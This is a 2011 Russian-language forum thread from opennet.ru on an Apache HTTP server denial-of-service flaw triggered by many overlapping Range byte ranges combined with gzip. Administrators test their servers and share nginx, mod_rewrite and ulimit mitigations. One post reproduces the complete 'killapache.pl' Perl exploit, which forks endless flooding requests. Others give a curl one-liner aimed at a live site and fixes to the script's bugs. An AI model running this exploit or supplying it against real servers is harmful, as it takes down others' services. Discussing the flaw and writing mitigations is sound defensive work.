URL: https://www.opennet.me/cgi-bin/openforum/vsluhboard.cgi
Форум: vsluhforumID3
Нить номер: 79966
[ Назад ]

Исходное сообщение
"Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache"

Отправлено opennews , 24-Авг-11 22:03 
В http-сервере Apache найдена (http://www.gossamer-threads.com/lists/apache/dev/401638) опасная уязвимость, позволяющая вызвать отказ в обслуживании через исчерпание всей доступной памяти. Опасность уязвимости усугубляется тем, что для её осуществления уже доступен готовый эксплоит (http://seclists.org/fulldisclosure/2011/Aug/175), позволяющий совершить атаку с одной машины с генерацией минимального трафика.


Проблема вызвана ошибкой (https://issues.apache.org/bugzilla/show_bug.cgi?id=51714) в реализации поддержки загрузки части файла по указанному диапазону (Range). Ошибка связана с тем, что при обработке запроса, содержащего большое число диапазонов (например, "Range:bytes=0-,5-1,5-2,5-3,...,5-1000"), расходуется слишком много памяти. Для исчерпания памяти достаточно отправить около 50 подобных запросов на сервер.


Проблема присутствует в Apache 2.x, включая последний релиз 2.2.19. Исправление пока доступно в виде патча (http://www.gossamer-threads.com/lists/apache/dev/401638)...

URL: http://secunia.com/advisories/45606/
Новость: http://www.opennet.me/opennews/art.shtml?num=31582


Содержание

Сообщения в этом обсуждении
"Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache"
Отправлено Аноним , 24-Авг-11 22:03 
Какая прелесть :3

"Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache"
Отправлено Сергей , 24-Авг-11 22:15 
У меня на apache-1.3.42 говорит "Host does not seem vulnerable"

"Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache"
Отправлено Mikk , 24-Авг-11 22:28 
Да, твой апач безусловно важен, но тут по близости ещё пара десятков миллионов апачей вертятся ;)

"Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache"
Отправлено Аноним , 25-Авг-11 14:23 
> У меня на apache-1.3.42 говорит "Host does not seem vulnerable"

Этот особо-раритетный апач и так легко DoSится запуском ab2/siege/http_load/зажатой F5 в браузере, даже на тощем канале. Просто пускаем к нему пару сотен соединений и забираем из них данные с чебурашьей скоростью. Апач дает дуба, форкнув 200 процессов и съев всю память (если сервер мощный, может потребоваться чуть больше соединений). Какая разница, свалить апач кривыми запросами или 200 соединениями? Обе атаки требуют от атакующего ничтожное количество ресурсов по сравнению с тем что выжрет сервер.


"Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache"
Отправлено Michael Shigorin , 29-Авг-11 10:15 
> Какая разница, свалить апач кривыми запросами или 200 соединениями?

(косясь на 1.3 за nginx) Кто ж вам даст-то 200 коннекшенов прямо к бэкенду?


"Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache"
Отправлено Аноним , 05-Сен-11 17:03 
> (косясь на 1.3 за nginx) Кто ж вам даст-то 200 коннекшенов прямо к бэкенду?

Во-во, костыль подставили - и вроде уже и не инвалид :). Вы б еще кеш на нжинксе настроили и сказали что апач не тормозит :D. Хотя не тормозит - нжинкс. А вот опач будучи вывешенным в интернет как есть - просто находка для юного хаксора.


"Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache"
Отправлено Michael Shigorin , 05-Сен-11 18:47 
> А вот опач будучи вывешенным в интернет как есть - просто находка для юного хаксора.

Это смотря какой и что за ним дальше болтается... думаю, у меня апач -- не самое вкусное место даже и не для очень юного хаксора.  Хотя модуль неуловимости помогает ещё больше. :)


"Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache"
Отправлено Аноним , 23-Сен-11 19:38 
> апач -- не самое вкусное место даже и не для очень юного хаксора.  

Тем не менее, любителей уронить вывешенный напрямую апач в интернете навалом.


"Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache"
Отправлено Аноним , 24-Авг-11 22:32 
nginx наше фсио

"Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache"
Отправлено ALHSLeo , 24-Авг-11 22:40 
> nginx наше фсио

Nginx не поможет, если он в роли фронтенда. Проткстировал на куче своих хостов - результат не однозначный, то-есть 1 и таже машина - 1 хост убивается 1000 форков, другой нет, а точнее - если страница использует сжатие гзипом - то заваливает, если не использует - то всё нормально, на остальных машинах поведение такое-же. Добавление строк в хтаксесс помогает, бешеное количество детей у апача не появляется, значит и память с процом не жрёт ( в тестовом скрипте увеличил количество форков до 1000 ). По сути - на момент запуска скрипта апач выедает весь проц, и за ним всю память, что вполне логично приводит к ддос-у.


"Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache"
Отправлено Аноним , 25-Авг-11 04:01 
> Nginx не поможет, если он в роли фронтенда.

Да уж, тут должен доктор помогать. А чем он плох как бэкэнд с fastcgi например?


"Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache"
Отправлено Andrew Kolchoogin , 25-Авг-11 13:14 
Высокая производительность nginx даром не даётся: из-за особенностей его архитектуры Apache'ных .htaccess в nginx нет и не будет.

Соответственно, там, где они нужны -- например, на shared-хостингах -- nginx+FastCGI -- не выход, увы.


"Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache"
Отправлено uldus , 25-Авг-11 14:24 
> Высокая производительность nginx даром не даётся: из-за особенностей его архитектуры Apache'ных
> .htaccess в nginx нет и не будет.

На самом деле, эмулировать .htaccess в  nginx достаточно легко. Как правило специфика хостинга  не требуют приема изменений из .htaccess в режиме реального времени, а использование .htaccess сводится к редиректам и подключению своих обработчиков несуществующих страниц. Т.е. можно вызывать процесс через cron раз в минуту, проверять появление новых .htaccess и изменение старых, преобразовывать их в формат nginx и подключать к нему итоговый набор созданных на основе .htaccess правил через include.


"Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache"
Отправлено Аноним , 25-Авг-11 15:00 
>> Высокая производительность nginx даром не даётся: из-за особенностей его архитектуры Apache'ных
>> .htaccess в nginx нет и не будет.
> На самом деле, эмулировать .htaccess в  nginx достаточно легко. Как правило
> специфика хостинга  не требуют приема изменений из .htaccess в режиме
> реального времени, а использование .htaccess сводится к редиректам и подключению своих
> обработчиков несуществующих страниц. Т.е. можно вызывать процесс через cron раз в
> минуту, проверять появление новых .htaccess и изменение старых, преобразовывать их в
> формат nginx и подключать к нему итоговый набор созданных на основе
> .htaccess правил через include.

Вот это костыли так костыли.... у меня 5млн. дирректорий, где могут работать .htaccess, мне ставить отдельную машинку под ваше решение?


"Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache"
Отправлено brzm , 25-Авг-11 17:31 
Если у вас 5 млн. директорий, то хостинг крупный и от ещё одной машинки от вас не убудет, благо оно того стоит. Ну и к тому же можно сделать удобную закладочку в панели хостинга с настройкой этих самых .htaccess по папкам с изменением по запросу.

"Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache"
Отправлено Аноним , 25-Авг-11 20:20 
> Если у вас 5 млн. директорий, то хостинг крупный и от ещё
> одной машинки от вас не убудет, благо оно того стоит. Ну
> и к тому же можно сделать удобную закладочку в панели хостинга
> с настройкой этих самых .htaccess по папкам с изменением по запросу.

Да нет, такое можно наблюдать даже у одного достаточно крупного сайта, на одной машинке. Под моим управлением есть сайты с 30млн файлами и 1млн дир. Ну и вы и/о винтов для таких костылей подарите? Это как правило оказывается самым узким местом.


"Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache"
Отправлено Аноним , 26-Авг-11 19:47 
> 1млн дир. Ну и вы и/о винтов для таких костылей подарите?
> Это как правило оказывается самым узким местом.

Действительно, на htaccess много лишнего IO делается. Поэтому маздай.


"Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache"
Отправлено uldus , 25-Авг-11 19:37 
> Вот это костыли так костыли.... у меня 5млн. дирректорий, где могут работать
> .htaccess, мне ставить отдельную машинку под ваше решение?

Костыли - это в Apache, который на каждый запрос проверяет наличие .htaccess во всех директориях начиная с текущей и до корня. Вас никто не заставляет каждый раз сканировать все пользовательские директории, достаточно, например, отслеживать изменения, просматривая часть лога FTP с момента прошлого просмотра. Или использовать специфичные для разных ОС механизмы нотификации изменения/создания файла с заданным именем.


"Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache"
Отправлено Аноним , 25-Авг-11 20:16 
>> Вот это костыли так костыли.... у меня 5млн. дирректорий, где могут работать
>> .htaccess, мне ставить отдельную машинку под ваше решение?
> Костыли - это в Apache, который на каждый запрос проверяет наличие .htaccess
> во всех директориях начиная с текущей и до корня.

Апач позволяет выбрать то, что нужно вам, а не пользоваться тем, что есть и не изобретать костыли. Если нужно - можете отключить .htaccess, если нужно, то апач может искать .htaccess только в корневой дире виртуалхоста, ну или можно задать поиск по полной.


>Вас никто
> не заставляет каждый раз сканировать все пользовательские директории, достаточно, например,
> отслеживать изменения, просматривая часть лога FTP с момента прошлого просмотра. Или
> использовать специфичные для разных ОС механизмы нотификации изменения/создания файла
> с заданным именем.

По вашему это будет работать? ок, пишите, мы посмотрим и оценим.


"Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache"
Отправлено Аноним , 26-Авг-11 18:56 
> По вашему это будет работать? ок, пишите, мы посмотрим и оценим.

А вы адресок апача то своего опубликуйте, чтобы окружаюшие могли посмотреть и ОЦЕНИТЬ как оно у вас работает с вашим выбором ;)


"Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache"
Отправлено Аноним , 26-Авг-11 19:08 
> Вот это костыли так костыли.... у меня 5млн. дирректорий, где могут работать
> .htaccess,

Вот это я понимаю, костыли так костыли! При том что 5 млн дир и так не подарок, в каждой дергаться на поиск htaccess - вот это и правда мегакостыль. Столько ненужных операций при запросах что просто жесть. Кстати можно вообще сервак выключить, чтоб уж наверняка не осилил запросы обслуживать.



"Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache"
Отправлено Аноним , 25-Авг-11 14:30 
> Высокая производительность nginx даром не даётся: из-за особенностей его архитектуры Apache'ных
> .htaccess в nginx нет и не будет.

Куда и дорога, пожалуй. Довольно дурное изобретение человечества.

> Соответственно, там, где они нужны -- например, на shared-хостингах -- nginx+FastCGI --
> не выход, увы.

А эти общественные туалеты вообще должны умереть лютой смертью. Задолбали уже случаями когда дыра в пионерском сайте приводит к слому сайта пятка солидных контор, просто потому что все валялось в общей помойке и пионерский сайт своей дырой подставил все остальные. Не говоря о том что если один пионер на уроке не поделил с другим ластик или карандаш, может оказаться завалена куча сайтов, просто потому что на том же апаче висел сайт пионера зажавшего карандаш.


"Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache"
Отправлено klalafuda , 25-Авг-11 20:16 
> А эти общественные туалеты вообще должны умереть лютой смертью. Задолбали уже случаями когда дыра в пионерском сайте приводит к слому сайта пятка солидных контор, просто потому что все валялось в общей помойке и пионерский сайт своей дырой подставил все остальные. Не говоря о том что если один пионер на уроке не поделил с другим ластик или карандаш, может оказаться завалена куча сайтов, просто потому что на том же апаче висел сайт пионера зажавшего карандаш.

Шаред хостинг.. серьезные конторы.. Где подвох?


"Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache"
Отправлено Аноним , 26-Авг-11 18:59 
> Шаред хостинг.. серьезные конторы.. Где подвох?

В идиотах-менеджерах, вероятно.


"Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache"
Отправлено TiGR , 24-Авг-11 22:46 
Кстати да, если статику отдаёт nginx или другой сервер, то получится эксплуатировать или нет?

"Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache"
Отправлено ALHSLeo , 24-Авг-11 22:48 
> Кстати да, если статику отдаёт nginx или другой сервер, то получится эксплуатировать
> или нет?

Получится, у меня таким образом и построено - нгинкс фронтенд+статика, за ним апачи, каждый в своей клетке. Так вот на статике всё прекрасно, а как только в дело вступает апач с динамикой+сжатие гзипом - то всё, завал апача на бакендах.


"Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache"
Отправлено zm_michael , 24-Авг-11 23:08 
а зачем апачи отдают сжатую динамику ? жмите в nginx.

"Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache"
Отправлено ALHSLeo , 24-Авг-11 23:18 
> а зачем апачи отдают сжатую динамику ? жмите в nginx.

Не всегда получается отдавать (обрабатывать) через нгинкс, некоторая часть хостов лоадбалансится нгинксом, а обрабатывают всё апачи, то-же самое и с самим нгинксом, он и так всё что может жмёт, и передаёт уже сжатое, но как написал ранее - не всегда такая схема работоспособна.


"Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache"
Отправлено Аноним , 26-Авг-11 19:48 
> Не всегда получается отдавать (обрабатывать) через нгинкс,

Тем хуже для вас //Капитан.


"Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache"
Отправлено umbr , 24-Авг-11 23:05 
>при обработке запроса, содержащего большое число диапазонов...расходуется слишком много памяти

Кто-нибудь знает, почему так?


"Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache"
Отправлено Аноним , 24-Авг-11 23:11 
header which requests as many
different bytes as possible from a file served by httpd. Combining this with a
gzip "Accept-Encoding" header the httpd is assumed to compress each of the
bytes requested in the Range header seperately consuming large memory regions.
The behaviour when compressing the streams is devestating and can end up in
rendering the underlying operating system unusable when the requests are sent
parallely. Symptomps are swapping to disk and killing of processes including
but not solely httpd processes.


Запрос (в котором заказано сжатие) приходит на отдельные байты (на десятки тысяч байтов), и каждый байт начинает сжиматься отдельно. Запуск десятков тысяч экземпляров упаковщиков (в смысле вызов gz_* функций из libz) и подготовка буферов для них (не удивлюсь, если буфер выделяется с нехилым запасом) приводят к потреблению большого количества памяти и/или созданию большого количества временных файлов.


"Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache"
Отправлено umbr , 24-Авг-11 23:27 
Т.е. проблема решается последовательной (а не параллельной, как сейчас) обработкой чанков?

"Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache"
Отправлено Аноним , 25-Авг-11 00:14 
> Т.е. проблема решается последовательной (а не параллельной, как сейчас) обработкой чанков?

Апачевцы решили эту проблему блестяще - ограничили количество чанков десятью.


"Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache"
Отправлено umbr , 25-Авг-11 00:26 
"Главное — завалить, а там запинаем." (с)
:)

"Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache"
Отправлено Аноним , 25-Авг-11 03:21 
Это было понятно еще когда они только начали делать бэкэнды с форками на каждого юзера. Поэтому то и рулят нжинкс или лайти + fastcgi. Им все это вообще пофиг, и запросом 100500 копий статики не завалишь. А нжинкс и динамику может весьма прикольно кешировать.

"ulimit "
Отправлено Евгений , 25-Авг-11 03:57 
У меня  Apache 2.2.17 с Линусовским ядром 3.0.3, ubuntu 11.04 "сработало"
#bash -c 'ulimit -v 10000 -m 4048;service apache2 restart'
И система не грузилась очень (при 200 форках)  и веб сервис работал хотя и с замедленными. На 2.2.14 с ядром 2.16.35.14 пришлось увеличивать -m и -v

"ulimit "
Отправлено Аноним , 25-Авг-11 10:16 
У меня Apache 2.2.3 c Линуксовым ядром 2.6.18, centos, нет даже лимитс:
[root@801 ~]# limits -a
-bash: limits: команда не найдена

"ulimit "
Отправлено Аноним , 25-Авг-11 17:31 
потому что ulimit

"Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache"
Отправлено Аноним , 25-Авг-11 07:47 
Интересно, когда появится апдейт в репах centos.

"Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache"
Отправлено HappyAlex , 25-Авг-11 08:40 
протестировал у себя на серверах

везде выдало
Host does not seem vulnerable

может просто сайты не использовали gzip хз

апач 2.2.х


"Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache"
Отправлено stimpack , 25-Авг-11 11:06 
Partial не выдают в заголовках. См эксплойт внутри

"Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache"
Отправлено Аноним , 25-Авг-11 11:21 
When using a third party attack tool to verify vulnerability - know that most of the versions in the wild currently check for the presence of mod_deflate; and will (mis)report that your server is not vulnerable if this module is not present. This vulnerability is not dependent on presence or absence of that module.

"Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache"
Отправлено Bocha , 25-Авг-11 11:04 
По-моему, DDoS Апача через исчерпание им всей памяти особой подготовки и специальных условий не требует, это скорее фича, чем баг. Я лично привык уже.

"Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache"
Отправлено Аноним , 25-Авг-11 15:43 
> это скорее фича, чем баг.

А это зависит от того за кого вы болеете - за администратора или за атакующего :). Если второе - да, конечно, это фича позволяющая легко уронить неугодный вам сайт :)))


"Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache"
Отправлено Ващенаглухо , 25-Авг-11 11:05 
ограничить лимиты юзера под которым работает апач.

"Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache"
Отправлено stimpack , 25-Авг-11 11:05 
в эксплойте ошибка на 74й строке:
if ($#ARGV > 1) {
надо:
if ($#ARGV > 0) {
а еще правильнее:
if ( @ARGV > 1 ) {

плюс сохранен под виндой, конец строки виндовый (^M). буеееее...


"Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache"
Отправлено Аноним , 25-Авг-11 13:51 
>плюс сохранен под виндой, конец строки виндовый (^M). буеееее...

Да там даже шебанга нет, и так все понятно.


"Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache"
Отправлено Аноним , 25-Авг-11 11:46 
попробуйте на статике использовать
curl -I -H "Range: bytes=0-1,0-2" -s mysite.com/robots.txt

HTTP/1.1 206 Partial Content
Server: nginx/0.7.67

только вот если проверять статику то выходит ошибка:
perl killapache.pl mysite.com/robots.txt 50
Can't use an undefined value as a symbol reference at killapache.pl line 57.


"Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache"
Отправлено Аноним , 25-Авг-11 12:09 
Кто-нибудь воспроизвел?
Я пытался и на статике и на динамике и на голом апаче и на апаче за энжинксом - не получается, да скрипт генерит такие запросы (Range обрезал):

HEAD / HTTP/1.1
Host: mysite.ru
Range:bytes=0-,5-0,...5-129...
Accept-Encoding: gzip
Connection: close

Запросы поступают, это видно через server-status, но память не исчерпывается, скрипт выводит такое:

# perl killapache_pl.bin mysite.ru 50
host seems vuln
ATTACKING mysite.ru [using 50 forks]
:pPpPpppPpPPppPpppPp
ATTACKING mysite.ru [using 50 forks]
:pPpPpppPpPPppPpppPp
ATTACKING mysite.ru [using 50 forks]
...

апачи под фрей крутятся:
# httpd -v
Server version: Apache/2.2.17 (FreeBSD)
Server built:   Mar 13 2011 07:43:51


"Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache"
Отправлено stimpack , 25-Авг-11 12:16 
vrt.kz - пример.

"Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache"
Отправлено Аноним , 25-Авг-11 12:26 
> vrt.kz - пример.

Его похоже положили серьезно :) Как вообще должен сервак отвечать? должен ли задумываться? должны ли форки не завершаться, а виснуть или просто должны раздуваться в памяти?
Попробовал вручную запустить команду, отрабатывает быстро и ничего не обычного у себя я не вижу (извиняюсь за длинный листинг):


# curl -v -I -H "Range: bytes=0-,5-0,...-1299" -H "Accept-Encoding: gzip" -H "Connection: close" -s mysite.ru
* About to connect() to mysite.ru port 80 (#0)
*   Trying 1.1.1.1... connected
* Connected to mysite.ru (1.1.1.1) port 80 (#0)
> HEAD / HTTP/1.1
> User-Agent: curl/7.19.6 (i386-portbld-freebsd8.0) libcurl/7.19.6 OpenSSL/0.9.8q zlib/1.2.3
> Host: mysite.ru
> Accept: */*
> Range: bytes=0-,5-0,5-1,...5-1299
> Accept-Encoding: gzip
> Connection: close
>

< HTTP/1.1 206 Partial Content
HTTP/1.1 206 Partial Content
< Date: Thu, 25 Aug 2011 08:19:51 GMT
Date: Thu, 25 Aug 2011 08:19:51 GMT
< Server: Apache
Server: Apache
< Set-Cookie: PHPSESSID=4efd497021eaf2fb4541fdd7858cb075; path=/
Set-Cookie: PHPSESSID=4efd497021eaf2fb4541fdd7858cb075; path=/
< Vary: Accept-Encoding,User-Agent
Vary: Accept-Encoding,User-Agent
< Content-Encoding: gzip
Content-Encoding: gzip
< Content-Length: 104705
Content-Length: 104705
< Connection: close
Connection: close
< Content-Type: multipart/byteranges; boundary=4ab5017c3c4a7f657
Content-Type: multipart/byteranges; boundary=4ab5017c3c4a7f657

<
* Closing connection #0


"Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache"
Отправлено stimpack , 25-Авг-11 12:46 
думаю, так: быстро-быстро-быстро, опа, память кончилась.

"Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache"
Отправлено Аноним , 25-Авг-11 16:00 
У сервера заканчивается свободная память, потом и своп, а потом возможны варианты.

"Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache"
Отправлено Аноним , 25-Авг-11 17:14 
> У сервера заканчивается свободная память, потом и своп, а потом возможны варианты.

Во сколько потоков не запускаю - не вижу этого, хоть убейте.


"Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache"
Отправлено Аноним , 25-Авг-11 12:52 
Там ошибка не только в 74 строке, тут скрипт справлен
http://paste.org.ru/?v4he2b
Но всеравно вылетает ошибка
http://paste.org.ru/?emh2p8

"Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache"
Отправлено igorya , 25-Авг-11 13:21 
если у кого остался апач версии 1.3, то пробелы нужно прописывать вот так:
RewriteCond %{HTTP:Range} ([0-9]*-[0-9]*)([[:space:]]*,[[:space:]]*[0-9]*-[0-9]*)+

иначе не работает, у меня, по крайней мере именно так.


"Решение для nginx-фронтенда"
Отправлено sergey , 25-Авг-11 16:04 
Для nginx-фронтенда можно сделать так:
В глобальную секцию(http или server) пишем:
    set $range $http_range;
    if ($http_range ~ "0-(,|$)"){
            set $range "";
    }

    if ($http_range ~ "(.*,.*){4,}"){
       set $range "";
    }
И в каждую секцию location, которая проксирует на apache добавляем:

proxy_set_header "Range" $range;


"Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache (..."
Отправлено CrOrc , 25-Авг-11 18:08 
Печально: даже www.apache.org реагирует на эту атаку.

"Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache (..."
Отправлено Аноним , 26-Авг-11 19:03 
> Печально: даже www.apache.org реагирует на эту атаку.

That's what should be called EPIC fail!


"Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache (..."
Отправлено Аноним , 25-Авг-11 18:24 
Скрипт не дает выбрать конкретный урл на файл.
Кто в теме подскажите.

"Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache (..."
Отправлено Аноним , 25-Авг-11 20:09 
> Скрипт не дает выбрать конкретный урл на файл.
> Кто в теме подскажите.

чего?


"Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache (..."
Отправлено DiXaS , 26-Авг-11 00:57 
Выше изложенные варианты через mod_rewrite убоги.
Вот вариант блокирующие более 4 диапазонов, без возможности "обхода":

~~~~~~~~~~~~~~
RewriteCond %{HTTP:Range} (\s*)(bytes|\w+?)(\s*)=(\s*)((\d*)(\s*)-(\s*)(\d*)(\s*)(,*)(\s*)){4,} [NC]
RewriteRule .? http://%{SERVER_NAME}/ [NS,L,F]
~~~~~~~~~~~~~~


"Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache (..."
Отправлено Аноним , 26-Авг-11 03:04 
Чем второй вариант не угодил?

"Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache (..."
Отправлено DiXaS , 26-Авг-11 11:50 
> Чем второй вариант не угодил?

Тем что укажи пробел, или убери символ и все - защита не работает.


"Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache (..."
Отправлено Аноним , 26-Авг-11 13:59 
>Тем что укажи пробел, или убери символ и все - защита не работает.

Второй из представленных в новости вариантов защищает от таких ситуаций не хуже вашего и при этом проще.


"Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache (..."
Отправлено DiXaS , 26-Авг-11 15:56 
>>Тем что укажи пробел, или убери символ и все - защита не работает.
> Второй из представленных в новости вариантов защищает от таких ситуаций не хуже
> вашего и при этом проще.

Вчера по нехватки времени вставлял шаблоны региксов и уже не помню какой и где чем болеет, пришлось писать свой чтобы не было обхода из-за пробелов.
Так же мой вариант предоставляет указать число допустимых диапозонов (то есть не убивая сам факт докачки), а так же по протоколу слово "bytes" не единственное(которые практически не используются, но допускаются).

Я не претендую на совершенство шаблона регикса, просто меня взбесила такая не серьезно заглушки, которая обходиться вставив табуляцию, пробел...


"Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache"
Отправлено Анон , 26-Авг-11 08:30 
Вот что-то нахерачил на баше:

seq 2 100 | xargs -I _ sh -c "echo -n \",\$((_-1))-_\"" | xargs -t -I _ sh -c "curl -s -I -H \"Range: bytes=0-1_\" -H \"Accept-Encoding: gzip\" -H \"Connection: close\" http://www.opennet.me/" | fgrep Partial

Но из тех, кто выдавал партиал, что-то еще ни один не упал, если грузить не только хедеры. Я неправильно понял задумку или просто не нашел ни одного уязвимого сайта?


"Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache (..."
Отправлено kulibin , 26-Авг-11 11:06 

#!/usr/bin/perl
#
use IO::Socket;
use Parallel::ForkManager;

sub usage {
print "Apache Remote Denial of Service (memory exhaustion)\n";
print "by Kingcope\n";
print "usage: perl killapache.pl <host> [numforks]\n";
print "example: perl killapache.pl www.example.com 50\n";
}

sub killapache {
print "ATTACKING $ARGV[0] [using $numforks forks]\n";

$pm = new Parallel::ForkManager($numforks);

$|=1;
srand(time());
$p = "";
for ($k=0;$k<1300;$k++) {$p .= ",5-$k";}

for ($k=0;$k<$numforks;$k++) {
my $pid = $pm->start and next;
my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0], PeerPort => "80", Proto  => 'tcp');

$p = "HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n";
if ( defined($sock) ) { print $sock $p; }

while(<$sock>) {
}

$pm->finish;
}

$pm->wait_all_children;
print "YES!!!\n";
}

if (@ARGV < 0) {usage; exit;}

if (@ARGV > 1) {$numforks = $ARGV[1]; } else {$numforks = 50;}

while(1) {killapache();}


"Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache (..."
Отправлено Xaionaro , 26-Авг-11 13:28 
Серьёзно. Повезло, что нигде у себя в конторе не нашёл сервера, где эта атака сработала бы.

"Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache (..."
Отправлено Аноним , 26-Авг-11 19:05 
> Серьёзно. Повезло, что нигде у себя в конторе не нашёл сервера, где
> эта атака сработала бы.

Учтя что оно работает даже на сайте опача :))) здесь что-то не так. Может быть, у вас в компании не используется апач? :)


"Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache (..."
Отправлено Xaionaro , 27-Авг-11 19:13 
>> Серьёзно. Повезло, что нигде у себя в конторе не нашёл сервера, где
>> эта атака сработала бы.
> Учтя что оно работает даже на сайте опача :))) здесь что-то не
> так. Может быть, у вас в компании не используется апач? :)

Нет, у нас почти везде есть какой-то front-end, слишком большие нагрузки.



"Apache 1.3.x - не подвержен?"
Отправлено fossil , 26-Авг-11 14:13 
> Ветка Apache 1.3.x также подвержена проблеме, но исправление для неё выпущено не будет, так как поддержка данной ветки прекращена.

Врут? Не вижу никаких проблем с apache 1.3.x vs apache2 с выключенным gzip.

Тестировал на одном файле и одном железе, заголовки ответа отдают одинаковые.

Вот только apache2 жрет 82MB RSS на запрос и отдает 10 запросов в секунду,
а в apache1 потребление памяти не увеличивается и отдается ~500 запросов
в секунду.

4674  1.4  3.9  99444 82080 ?        S    13:58   0:00 apache2
30401  0.0  0.2   7864  5248 ?        S    13:57   0:00 httpd


"Apache 1.3.x - не подвержен?"
Отправлено Xaionaro , 26-Авг-11 14:20 
Да, я у себя тоже нашёл сервак с apache 1.3.41 (из портов FreeBSD), проверил, не работает атака. ОЗУ там гиг всего

Нашёл так же сервер с apache 2.2.16 (из репозитория debian), тоже не сработала атака.

Остальные сервера закрыты nginx-ом или lighttpd.


"а вот Apache 2.2.16 - подвержен"
Отправлено fossil , 26-Авг-11 14:26 
>Нашёл так же сервер с apache 2.2.16 (из репозитория debian), тоже не сработала атака.

Вероятно плохо проверял, надо на статике проверять.
2.2.16 из репозитория Debian -подвержен.


"а вот Apache 2.2.16 - подвержен"
Отправлено Xaionaro , 26-Авг-11 14:42 
>>Нашёл так же сервер с apache 2.2.16 (из репозитория debian), тоже не сработала атака.
> Вероятно плохо проверял, надо на статике проверять.
> 2.2.16 из репозитория Debian -подвержен.

Ну, мне лень разбираться почему не сработало. Но насколько я помню, там gzip в apache отключен, т.е. да, эксперимент некорректен, извиняюсь.


"а вот Apache 2.2.16 - подвержен"
Отправлено Аноним , 26-Авг-11 19:10 
> Ну, мне лень разбираться почему не сработало.

И на этом основании делаются выводы о том что атака не работает? Весьма блондинистый подход к вопросу.


"а вот Apache 2.2.16 - подвержен"
Отправлено Xaionaro , 26-Авг-11 20:58 
>> Ну, мне лень разбираться почему не сработало.
> И на этом основании делаются выводы о том что атака не работает?
> Весьма блондинистый подход к вопросу.

Я ж сказал, "т.е. да, эксперимент некорректен, извиняюсь". Притом даже пояснил что скорее всего не так.


"а вот Apache 2.2.16 - подвержен"
Отправлено Вася Пупкин , 27-Авг-11 03:34 
>>> Ну, мне лень разбираться почему не сработало.
>> И на этом основании делаются выводы о том что атака не работает?
>> Весьма блондинистый подход к вопросу.
> Я ж сказал, "т.е. да, эксперимент некорректен, извиняюсь". Притом даже пояснил что
> скорее всего не так.

Давай, делись адресочком своих серверов, а мы уже как нить да и посмотрим ;)


"а вот Apache 2.2.16 - подвержен"
Отправлено Xaionaro , 27-Авг-11 15:51 
>>>> Ну, мне лень разбираться почему не сработало.
>>> И на этом основании делаются выводы о том что атака не работает?
>>> Весьма блондинистый подход к вопросу.
